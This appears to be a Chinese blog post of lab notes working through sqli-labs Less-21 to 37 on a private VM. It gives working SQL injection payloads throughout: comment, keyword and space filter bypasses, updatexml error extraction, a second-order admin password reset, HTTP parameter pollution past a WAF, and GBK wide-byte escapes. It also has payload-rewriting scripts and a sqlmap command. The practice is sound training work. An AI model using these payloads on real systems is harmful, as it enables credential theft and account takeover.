[NOTE] sqli-labs Adv Injections

[NOTE] sqli-labs Adv Injections

文章目录

前言

针对sqli-labs靶场的做题笔记

环境
虚拟机环境
攻击机:kali|10.10.10.1
靶机:ubuntu|10.10.10.2|Apache+PHP+MySQL

Less-21: Cookie injection - base64 encoded-single quotes and parenthesis

就是Basic Injection里边的Less-21(重复了?)

Less-22: Cookie injection - base64 encoded-single – double quotes

和Less-21一样,只不过闭合方式从 ’) 变成了 “
下略

试试sqlmap能不能跑
sqlmap -r cookieInj --level 5 --risk 3 --cookie="uanme=*" --tamper="base64encode"
关键是指定要探测注入漏洞的cookie字段(注意格式),以及指定编码方式(tamper——篡改)

Less-23: GET - Error based - strip comments

strip comments——注释过滤?应该是做了基本的过滤
看眼源码:
在这里插入图片描述

用preg_replace()对注释符做了过滤(正则匹配)
过滤方法1:主动闭合——?id=' or 1=1 or '
?id=' union select 1,group_concat(username),group_concat(password) from users where '1'='1
过滤方法2:00截断——?id=' or 1=1; %00(不知为啥要加个分号)
?id=' union select 1,group_concat(username),group_concat(password) from users; %00

Less-24: POST - Second Oder Injections Real treat - Stored Injections

关于这题的学习资料

看了半天源码,是有两个有区别的PHP函数
mysql_real_escape_string
mysql_escape_string

这关简单模拟了一个系统,注册、登入、重置密码、登出到忘记密码都有
其中除注册外,其他地方的输入都使用了mysql_real_escape_string()进行转义
而注册的地方使用的是mysql_escape_string()进行转义

可以上网查一下这两个函数,其中mysql_escape_string不转义“%”和“_”

关于这题整体,是二次注入,也叫存储型注入
大致思路是,先事把含有特殊字符的字符串放到服务器数据库中
然后再找到服务器提取该字符串并直接拼接到SQL语句中的场景
因为是从数据库中直接提取字符串而不是由用户输入
所以很可能是没有做任何过滤就直接拼接的
从而绕过一些过滤限制

这题关键是重置密码时,无需用户输入自己的用户名
那么很可能就是系统自己从数据库中提取并拼接用户名


做法

先自己注册一个账户:admin'#/password
可以注意到这个用户名是合法的,并且会被完整显示出来

登入这个用户,重置自己的密码为hacked

然后登出,会发现账户admin的密码被改成了hacked

这是因为后台修改账户密码的代码如下:
UPDATE users SET PASSWORD='$pass' WHERE username='$username' and password='$curr_pass'

其中用户名字段是直接从$_SESSION["username"]中提取的
当拼接上我们自己创建的账户时,就会变成:
UPDATE users SET PASSWORD='$pass' WHERE username='admin'#' and password='$curr_pass'
相当于变成了:
UPDATE users SET PASSWORD='$pass' WHERE username='admin'

这样就达到了修改管理员账户密码的目的

这题难度感觉不白盒,很难做出来

Less-25: GET - Error based - All your OR & AND belong to us - string single quote

一样的GET参数id
题目是,所有的ORAND都归他了
估计是过滤这俩关键字

99':报错
99'%23:没有报错
估计是字符型注入

然后payload里面包含andor,回显出来都不见了
说明被过滤了

URL编码不行,concat函数包含字符串的or不行
可能还需要多了解一下编码绕过这块,可能有别的可行方法
(编码绕过方向全错,我在赣神魔)

这个payload倒不会报语法错误,但是说列数不同
?id=' union select (case when (1=1) then 1 else 1 end) %23
case-when-then-end可用

蚌埠住了,看看源码,对参数id做了下黑名单过滤:

function blacklist($id) {
        $id= preg_replace('/or/i',"", $id);
        $id= preg_replace('/AND/i',"", $id);
        return $id;
}

preg_replace函数:hhhhhh草得去等馆长了

preg_replace函数:对目标字符串执行一个正则模式的查找与替换
最关键的是,它只会查找并替换一次,只有一次
于是就可以双写绕过了
(函数原型好像有一个limit参数指定替换的最大次数?默认是-1无限次?)
(可能是指遍历替换的次数,不是递归替换的次数?)

此外换成||&&也行,但是后面有些payload还是要双写

另外注意的是,别的地方出现了orand都要双写绕过:
?id=' union select 1,group_concat(column_name),3 from infoorrmation_schema.columns where table_schema=database() anandd table_name='users' %23
可以考虑写个脚本函数自动执行payload的替换

原来双写绕过就可以了,一开始还去想什么编码、case-wen啥的
终极眼高手低,草


一个绕过过滤的思路:
若有过滤,先判断是一次性过滤还是非一次性过滤

一次性的话:双写绕过

非一次性的话:则要考虑变形

  • 大小写混拼
  • 运算符代替:or->||and->&&
  • URL编码绕过:#->%23
  • Hex编码绕过:~->0x7e
  • 添加注释:/*or*/

Less-25a: GET - Blind based - All your OR & AND belong to us – Intiger based

题目加个a,估计只是上一题的变式

字符型注入换成数字型
其他地方实际做起来确实和上一题没啥区别,都是双写可绕过

看看源码,没啥东西
倒是有一行print_r(mysql_error())被注释掉了,所以没有错误回显

Less-26: GET - Error based - All your SPACES and COMMENTS belong to us

看样子是过滤掉了空格和注释
结果不是,orand也被过滤了

看看源码的过滤函数:

function blacklist($id) {
	//strip out OR (non case sensitive)
    $id= preg_replace('/or/i',"", $id);
    //Strip out AND (non case sensitive)
    $id= preg_replace('/and/i',"", $id);
    //strip out /*
    $id= preg_replace('/[\/\*]/',"", $id);
    //Strip out --
    $id= preg_replace('/[--]/',"", $id);
    //Strip out #
    $id= preg_replace('/[#]/',"", $id);
    //Strip out spaces
    $id= preg_replace('/[\s]/',"", $id);
    //Strip out slashes
    $id= preg_replace('/[\/\\\\]/',"", $id);
    
    return $id;
}

关于过滤注释的绕过,一开始想着这样双拼:/*/**/*/
结果不行,原来过滤的是/*
所以要这样双拼://**/**/
说明绕过的姿势还要放开思路

验证注入的payload:?id='//**/**/oorr//**/**/'1'='1

写了个脚本来做敏感字符得自动化替换:

import sys

if __name__ == '__main__':
    for i in range(len(sys.argv)-1):
        res = sys.argv[i+1]
        res = res.replace(" ", "/**/")
        res = res.replace("or", "oorr")
        res = res.replace("and", "anandd")
        res = res.replace("/*", "//**")
        print(res)
    
    exit(0)

后面那个注释符目前找不到很好的绕过方法,好像只能通过闭合的方式通过检查

但是试了试别的payload,发现会报错?例如下面这个爆表:
'//***/union//***/select//***/1,group_concat(table_name),3//***/from//***/infoorrmation_schema.tables//***/where//***/table_schema=database()//***/anandd//***/'1'='1

就报了语法错误:check the manual that corresponds to your MySQL server version for the right syntax to use near ‘unionselect1,group_concat(table_name),3frominformation_schema.tableswheretable_s’ at line 1

检查一下发现回显也正常,只是空格都被抽掉了
(后面检查可能还真是这里的问题,因为后面测出来是只有用空格分隔的SQL语句如“union select”等才会出现这样的问题)
那为啥别人可以?
所以估计是union select和后面的limit配合得不是很好?
不会要补习MySQL语法吧…


由于有完整报错回显,考虑使用updatexmlextractvalue等函数

改进下脚本:

import sys

res = sys.argv[1]
res = res.replace(" or ", "||")
res = res.replace("or", "oorr")
res = res.replace(" ", "/**/")
res = res.replace("and", "anandd")
res = res.replace("/*", "//**")

print(res)

另外空格被过滤,使用圆括号是一个不错的分隔办法

爆库:'||updatexml(1,//**concat(0x7e,//**(select//**database()),//**0x7e),//**1)||'1'='1

爆表:
'||updatexml(1,//***/concat(0x7e,//***/(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database())),//***/0x7e),//***/1)||'1'='2

爆字段:
'||updatexml(1,//***/concat(0x7e,//***/(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database())),//***/0x7e),//***/1)||'1'='2

爆数据:
'||updatexml(1,//***/concat(0x7e,//***/(select(group_concat(username))from(users)limit%0B0,1),//***/0x7e),//***/1)||'1'='2

但是到这里问题又来了
由于报错会限制回显的字符数,所以需要使用limit 0,1来作偏移
但是这样的话就免不了又要使用空格或别的分隔符
然后就会被抽走,然后又报语法错误:

payload:'||updatexml(1,//***/concat(0x7e,//***/(select(group_concat(username))from(users)limit//***/0,1),//***/0x7e),//***/1)||'1'='2
报错回显:check the manual that corresponds to your MySQL server version for the right syntax to use near ‘limit0,1),0x7e),1)||‘1’=‘2’ LIMIT 0,1’ at line 1

上面的‘limit’和‘0’接在一起了,去掉这个limit就没事


那后面剩下的就上盲注吧
额不对,盲注数据好像也要用到limit?那咋办啊

我不理解,为什么别人和在数据库里使用/**/代替空格就行
换到sqli-labs就不行…
不会又是垃圾小皮的锅吧。。。。

上sqlmap看看
能测出DBMS是MySQL,参数id可以注入,但是后面就测不动了
可能要指定别的参数啥的

Less-26a: GET - Blind Based - All your SPACES and COMMENTS belong to us – String-single quotes-Parenthesis

估计是和上题差不多,有些变形,而且提示了是基于盲注

测了测,发现闭合要加多个)
关闭了错误回显,所以updatexml这类路走不通了

贴个验证注入存在的payload:')||1=1||('1')=('2

盲注要用到也要limit,那咋整啊

Less-27: GET - Error Based - All your UNION & SELECT Belong to us – String – String quote

看样子是过滤掉了unionselect,估计还有别的

验证一下:?id=' or 1=1 %23
回显:check the manual that corresponds to your MySQL server version for the right syntax to use near ‘or1=1’ LIMIT 0,1’ at line 1
看样子之前过滤的这次也过滤了
得用回之前的脚本来做字段替换

看眼过滤函数:

function blacklist($id) {
	$id= preg_replace('/[\/\*]/',"", $id);//strip out /*
	$id= preg_replace('/[--]/',"", $id);//Strip out --.
	$id= preg_replace('/[#]/',"", $id);//Strip out #.
	$id= preg_replace('/[ +]/',"", $id);//Strip out spaces.
	$id= preg_replace('/select/m',"", $id);//Strip out spaces.
	$id= preg_replace('/[ +]/',"", $id);//Strip out spaces.
	$id= preg_replace('/union/s',"", $id);//Strip out union
	$id= preg_replace('/select/s',"", $id);//Strip out select
	$id= preg_replace('/UNION/s',"", $id);//Strip out UNION
	$id= preg_replace('/SELECT/s',"", $id);//Strip out SELECT
	$id= preg_replace('/Union/s',"", $id);//Strip out Union
	$id= preg_replace('/Select/s',"", $id);//Strip out select
return $id;
}

观察一下,发现分隔符只过滤了空格和/*,也就是说制表符%09可用
unionselect过滤也不完整,大小写混拼可用
没有过滤orand
注释符不可用

那比上一题简单了呀,updatexml注入走起!


payload替换脚本:

import sys

res = sys.argv[1]
res = res.replace("union", "UnIoN")
res = res.replace("select", "SeLeCt")
res = res.replace(" ", "%09")
res = res.replace("/*", "//**")

print(res)

爆库:
'%09or%09updatexml(1,%09(concat(0x7e,%09(SeLeCt%09database()),%090x7e)),%091)%09or%09'1'='1

爆表:
'%09or%09updatexml(1,%09(concat(0x7e,%09(SeLeCt%09group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema=database()),%090x7e)),%091)%09or%09'1'='2

爆字段:
'%09or%09updatexml(1,%09(concat(0x7e,%09(SeLeCt%09group_concat(column_name)%09from%09information_schema.columns%09where%09table_schema=database()%09and%09table_name='users'),%090x7e)),%091)%09or%09'1'='2

爆数据(limit偏移):
'%09or%09updatexml(1,%09(concat(0x7e,%09(SeLeCt%09group_concat(username)%09from%09users%09limit%090,1),%090x7e)),%091)%09or%09'1'='2
然后发现limit 1,1就没有任何显示了????

实际上可以用制表符代替分隔符的话,可以直接union select
'%09UnIoN%09SeLeCt%091,group_concat(username),group_concat(password)%09from%09users%09where%09'1'='1

unionselect的限制也可以直接双写绕过

Less-27a: GET - Blind Based - All your UNION & SELECT Belong to us – Double Quotes

和上题差不多,换成双引号,关闭错误回显

爆数据:
"%09UnIoN%09SeLeCt%091,group_concat(username),group_concat(password)%09from%09users%09where%09"1"="1

Less-28: GET - Error Based - All your UNION & SELECT Belong to us – String – Single quote with parenthesis

首先还是先试试

' or '1'='1这个可以正常回显
返回提示:Your Input is Filtered with following result: 'or'1'='1
空格被过滤了
然后试了试制表符%09,返回提示:result: ' or '1'='1
说明制表符可用,过滤不完全

unionselect又被过滤,但试了试大小写混拼不行
双写,发现返回提示:result: ' ununionion seselectlect 1,2,'3
说明双写的内容没有被过滤,怎么回事??

看眼源码,发现针对这俩的过滤正则是这样的:/union\s+select/i
即过滤的是这俩的组合

想到除去union select之外还有一个union all select
可以用这个绕过上面的过滤

另外还发现不仅有单引号,还有一个圆括号也要闭合
于是有如下payload:')%09union%09all%09select%09'1','2',('3

爆库:')%09union%09all%09select%09'1','2',('3

爆表:
')%09union%09all%09select%09'1',group_concat(table_name),3%09from%09information_schema.tables%09where%09table_schema=database%09and%09'1'=('1

爆字段:
')%09union%09all%09select%09'1',group_concat(column_name),3%09from%09information_schema.columns%09where%09table_schema=database()%09and%09table_name='users'%09and%09'1'=('1

爆数据:
')%09union%09all%09select%09'1',group_concat(username),group_concat(password)%09from%09users%09where%09'1'=('1

Less-28a: GET - Blind Based - All your UNION & SELECT Belong to us – single quote-parenthesis

很卵奇怪,和上一题没啥区别
看一眼源码,发现除了对union select的组合过滤之外没有别的过滤了

Less-29: GET - Error based - IMPIDENCE MISMATCH – Having a WAF in front of web application

“IMPIDENCE MISMATCH”——预防不匹配?
另外题目说有WAF
This Site Protected by World's Best Firewall,嗯哼?)

随便试试,发现乱注?' or 1=1 %23有回显
真就乱注,爆数据:' union select 1,group_concat(username),group_concat(password) from users %23

怎么回事,看看源码
源码里面也没有任何关于WAF的内容啊?


破案了,原来用户界面是login.php,不是默认的index.php
那就重新来过

发现不管给id传入什么参数都会报错,然后302跳到一个hacked.php
显示说被WAF挡住了

看源码,发现有很奇怪的地方,既有id1又有id

$qs = $_SERVER['QUERY_STRING'];
$hint=$qs;
$id1=java_implimentation($qs);
$id=$_GET['id'];
// ...
whitelist($id1);
// ...
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

其中whitelist函数用白名单限制了参数只能为整数

java_implimentation函数如下:

function java_implimentation($query_string) {
	$q_s = $query_string;
	$qs_array= explode("&",$q_s);

	foreach($qs_array as $key => $value) {
		$val=substr($value,0,2);
		if($val=="id") {
			$id_value=substr($value,3,30); 
			return $id_value;
			echo "<br>";
			break;
		}
	}
}

explode函数用于将字符串打散成数组
java_implimentation函数的目的大概在于,捕获第一个id参数并返回
问题就在于只捕获第一个id参数,就把它返回给id1
并且后面的白名单检测,只检测id1
而拼接在SQL语句里的是从$_GET['id']获得的id

再结合一波**HPP(HTTP Parameter Pollution,HTTP参数污染)**的知识
大概是请求参数中有两个参数同名的话
不同Web服务器对其的处理规则不同
从而导致利用点出现

例如PHP/Apache里边,会把最后一个同名参数作为传参
http://www.xx.com/?id=1&id=' or '1'='1
有可能检测到第一个id正常就通过,而传入服务器的是后面的恶意参数

下面是具体不同Web服务器的处理方式:

Web服务器参数获取函数获取到的参数
PHP/Apache$_GET(“par”)Last
JSP/TomcatRequest.getParameter(“par”)First
Perl(CGI)/ApacheParam(“par”)First
Python/ApacheGetvalue(“par”)All(List)
ASP/IISRequest.QueryString(“par”)All(comma-delimited string)

所以根据上述知识,只需要传入两个id参数,就可以WAF Bypass了,payload:
?id=1&id=' union select 1,group_concat(username),group_concat(password) from users %23
(前面的过程略)


另外关于这个WAF的体现,整(fu)理(zhi)了一波网上的资料

大概是这么一个双层服务器架构

在这里插入图片描述

服务器端有两个部分:第一部分为 tomcat 为引擎的 jsp 型服务器,第二部分为 apache 为引擎的 php 服务器,真正提供 web 服务的是 php 服务器。

工作流程为:client 访问服务器,能直接访问到 tomcat 服务器,然后 tomcat 服务器再向 apache 服务器请求数据。数据返回路径则相反。

接下来是参数解析的问题。
问:index.php?id=1&id=2,这时回显是id=1还是id=2呢?
答:apache (php) 解析最后一个参数,即回显id=2;tomcat (jsp) 解析第
一个参数,即回显id=1。

问:index.jsp?id=1&id=2,针对这关的两层结构,客户端请求首先过 tomcat,tomcat 解析第一个参数,接下来 tomcat 请求 apache,apache 解析最后一个参数。那么最终返回客户端的是哪个参数?
答:此处应该还是id=2,因为实际上提供服务的是 apache 服务器,返回的数据也应该是 apache 处理的数据。

而在我们实际应用中,也是有两层服务器的情况,那为什么要这么做?是因为我们往往在 tomcat 服务器处做数据过滤和处理,功能类似为一个 WAF。

而正因为解析参数的不同,我们此处可以利用该原理绕过 WAF 的检测。如 payload:index.jsp?id=1&id=0 or 1=1–+,tomcat 只检查第一个参数id=1,而对第二个参数id=0 or 1=1–+不做检查,直接传给了 apache,apache 恰好解析第二个参数,便达到了攻击的目的。

所以这题模拟的就是上面的Tomcat WAF&Apache Server架构

Less-30: GET - BLIND - IMPIDENCE MISMATCH - Having a WAF in front of web application

承接上题经验
id参数会报错
双重id前正确后恶意能行:?id=1&id=" or 1=1 %23
测出来是双引号字符型

直接上最后爆数据的payload:
?id=1&id=" union select 1,group_concat(username),group_concat(password) from users %23

看源码:

和上题没啥区别

Less-31: GET - BLIND - IMPIDENCE MISMATCH – Having a WAF in front of web application

承接Less-29题经验

只是变成了双引号+圆括号闭合:?id=1&id=") or 1=1 %23

最后爆数据的payload:
?id=1&id=") union select 1,group_concat(username),group_concat(password) from users %23

源码其余地方和之前一样

Less-32: GET - Bypass custom filter adding slashes to dangerous chars

打入单引号的时候,发现提示回显:
Hint: The Query String you input is escaped as : \’
The Query String you input in Hex becomes : 5c27

看上去是被加了反斜杠进行转义
简单测试,发现'"以及\都会被加上反斜杠进行转义

结合提示会回显16进制的查询结果,考虑宽字符注入


下面的内容来自Pikachu靶场练习笔记的宽字节注入内容

主要是利用了GBK系列编码,将两个字节当成是一个中文字符的原理

相关配置为:set character_set_client = gbk

一般为引号被加上反斜杠转义的情况
1' and 1=1 #->1\' and 1=1 #
相当于查询id为‘1’ and 1=1 #’的信息

但是可以主动加上一个‘%df’
1%df' and 1=1 #->1%df\' and 1=1 #->1%df%5c' and 1=1 #->1輼' and 1=1 #
相当于查询id为‘1輼’的信息,然后执行and后面的判断


于是验证注入的payload:%df' or 1=1 %23

后续略

其中需要用到字符串判断的地方,比如要table_name='users'
可以使用**concat函数char函数**来进行结合变式
?id=%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=concat(char(117),char(115),char(101),char(114),char(115)) %23

Less-33: GET - Bypass AddSlashes()

AddSlashes,添加斜杠
后面跟个圆括号,看起来像个给特殊字符添加斜杆来转义的函数

果不其然,参数id打入单引号,提示回显给加上了反斜杠

可以考虑宽字节注入

?id=%df' or 1=1 %23就可以正确回显了,说明宽字节注入有效
那基本上就和上一题一样了

看看源码,主要是使用addslashes函数对传参进行过滤
这个函数主要是对'"\以及NULL字符前边加上反斜杠

此外源码里面有一行比较有意思:
mysql_query("SET NAMES gbk");
看来宽字节注入真的与GBK编码有很大干系

Less-34: POST - Bypass AddSlashes()

变成登录框,两个框都会添加反斜杠

遇到问题了,POST怎么做到宽字节注入?


哦,原来原理上是一样的
验证payload:username:%df' or 1=1 #/password:1

这里需要了解一下Content-Type: application/x-www-form-urlencoded
这种MIME是form标签不设置别的encrypt属性时所默认采用的
它会把表单提交的键和值进行url编码

所以从网页上提交的payload,再经过url编码后,会变成这样:
%25df%27+or+1%3D1+%23
%被转码了,所以提示回显里面的百分号出现了

所以需要使用bp等代理工具进行抓包改包:

在这里插入图片描述

这样的所发出的payload才有效,才能注入成功


剩下的payload如无说明默认是uname的参数

判断回显字段数为2:
%df' or 1=1 order by 2#

查看回显的字段:
%df' union select 1,2#

下略

其中需要用到字符串判断的地方,比如要table_name='users'
可以使用**concat函数char函数**来进行结合变式

Less-35: GET - Bypass Add Slashes (we dont need them) Interger based

数字型还要什么双引号,直接验证注入:?id=999 or 1=1 %23

爆列:
?id=999 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=concat(char(117),char(115),char(101),char(114),char(115)) %23

下略

Less-36: GET – Bypass MySQL_real_escape_string

怕是要绕过mysql_real_escape_string这个函数

结果可以宽字节绕过


记一下GBK编码如何防止宽字符注入

先调用mysql_set_charset函数设置连接所使用的字符集为gbk,再调用mysql_real_escape_string函数来过滤用户输入
mysql_set_charset('gbk','$conn')

也就是说,先不进行转义,首先以GBK编码的形式对提交上来的参数进行编码,然后再进行转义,(先编码也意味着反斜杠即5c不会出现,到下一步的转义引号才出现)

源码的失误就在于先转义再编码

Less-37: POST – Bypass MySQL_real_escape_string

虽然使用mysql_real_escape_string函数,但是和GBK字符集设置顺序有误

所以可以宽字符绕过

详见Less-34、Less-36

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值